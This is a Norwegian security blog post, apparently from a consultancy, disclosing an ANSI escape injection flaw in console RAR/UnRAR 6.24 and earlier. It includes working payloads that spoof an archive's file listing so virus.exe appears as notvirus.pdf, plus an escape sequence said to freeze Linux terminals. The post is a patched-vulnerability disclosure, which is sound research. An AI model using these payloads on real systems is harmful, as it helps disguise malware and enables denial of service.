Skip to main content

    Oversikt

    28. februar 2024 lanserte RARLAB en oppdatering for WinRAR, som fikset en ANSI escape injection sårbarhet som jeg hadde funnet i konsollversjonene av RAR og UnRAR, som påvirket versjon 6.24 og tidligere. Denne sårbarheten, sporet som CVE-2024-33899 for Linux og Unix systemer og CVE-2024-36052 for Windows, gjorde det mulig for angripere å forfalske fil listen eller utføre en lokal tjeneste angrep (kun Linux og Unix).

    I dette innlegget vil jeg gå gjennom hvordan denne sårbarheten fungerer og demonstrere et "proof of concept". Selv om jeg demonstrerer dette på et Linux system, så kan det samme gjøres på et Windows eller Unix system.

    Bakgrunn

    Hvis du er kjent med kommandolinjen i Linux, Unix eller Windows, er du kanskje kjent med programmer som Vim og Neofetch. Disse programmene bruker ANSI escape sekvenser til å endre tekst og bakgrunnsfarge, styre markøren og lage GUI i terminalen.

    1-1

    Selv om ANSI escape-sekvenser kan brukes til å lage kule programmer for terminalen, kan de også brukes for ondsinnede, som vist i Stok Fredriks DEFCON-foredrag.

    WinRAR tilbyr konsoll RAR og UnRAR som kan brukes til å opprette og pakke ut RAR-arkiver. Som vist på bildet nedenfor, støtter RAR-filer kommentarer, som vises når innholdet i arkivfilen listes opp ved hjelp av unrar l demo.rar.

    2 (1)

     

    For å sjekke om ANSI escape-sekvenser er filtrert ut eller ikke i kommentarfeltet, kan vi bruke en enkel payload som viser `THIS IS GREEN` i fargen grønn.

    printf  'Hello \033[32mTHIS IS GREEN\033[0m\007' | rar c demo.rar

     

    Når vi kjører rar l demo.rar, kan vi se at THIS IS GREEN blir skrevet ut i grønt. Dette viser at kommentarfeltet ikke filtrerer ANSI escape-sekvenser i utdataene.

    3 (1)

     

    Utnyttelse

    Sårbarheten kan utnyttes på mange forskjellige måter, men vi vil bruke et angrep som passer for WinRAR som demonstrasjon.

    Først legger vi filen virus.exe inn i en rar fil:

    $ ls  

    virus.exe

    $ rar a demo.rar virus.exe

     

    Deretter legger vi til følgende payload i kommentarfeltet:

    printf  'Archive: demo.rar\nDetails: RAR 5\n\nAttributes     Size       Date     Time   Name\n----------- --------- ---------- ----- ---------\n-rw-r--r--         7   2024-05-19 16:26   notvirus.pdf\n----------- ---------   ---------- -----   ---------\n                   7                   1\e[8m' | rar c demo.rar

     

     

    Denne payloaden inneholder en falsk liste der virus.exe er erstattet med notvirus.pdf. ANSI escape-sekvensen \e[8m brukes til å skjule alt innhold etter kommentarseksjonen i utdataene. Resultatet er at den faktiske filoppføringen skjules, og vår falske filoppføring vises. I skjermbildet nedenfor kan du se et stort mellomrom mellom utdataene og shell prompten. Dette mellomrommet skyldes at den opprinnelige fillisten blir skrevet ut, men usynliggjort ved hjelp av \e[8m. Erfarne kommandolinjebrukere vil kanskje synes dette er mistenkelig, men mindre erfarne brukere kan lett bli lurt.

    4-1

    Som nevnt, er det to CVE'er knyttet til denne sårbarheten på grunn av dens betydelig høyere alvorlighetsgrad på Linux og Unix systemer sammenlignet med Windows. Dette skyldes at visse ANSI escape sekvenser kan brukes til å oppnå et lokalt tjeneste angrep på Linux og Unix systemer.

    Payload'en nedenfor, som er hentet fra Stok Fredrik sin Black Hat-slides, fanger opp alle markørbevegelser og skriver ut koordinatene til terminalen. Dette fungerer bare på Linux- og Unix-systemer. Da det ble testet på en Kali Linux VM, ble markørkoordinatene sendt ut til terminalen, og VM-en ble senere frosset.

     

    \033[ ?1001h\033[?1002h\033[?1003h\033[?1004h\033[?1005h\033[?1006h\033[?1007h\033[?1015h\033[?10016h\

     

    dos

    Selv om det er begrenset forskning på ANSI escape sekvenser, er det tydelig at angripere med en dyp forståelse av ANSI escape sekvenser kan utnytte dem på en kreativ, ondsinnet og noen ganger til og med irriterende måte.

     

    Spørsmål om it-sikkerhet? Kontakt oss her:

     

    Oslo

    Drammensveien 288

    0283 Oslo

    Bergen

    Sandviksbodene 1

    5035 Bergen

    Stavanger

    Kanalsletta 4

    4033 Stavanger

    Grimstad

    Bark Silas vei 5

    4876 Grimstad

    Kristiansand

    Dronningens gt 12

    4610 Kristiansand

    Trondheim

    Krambugata 2

    7011 Trondheim

    Stockholm

    Kammakargatan 22

    111 40 Stockholm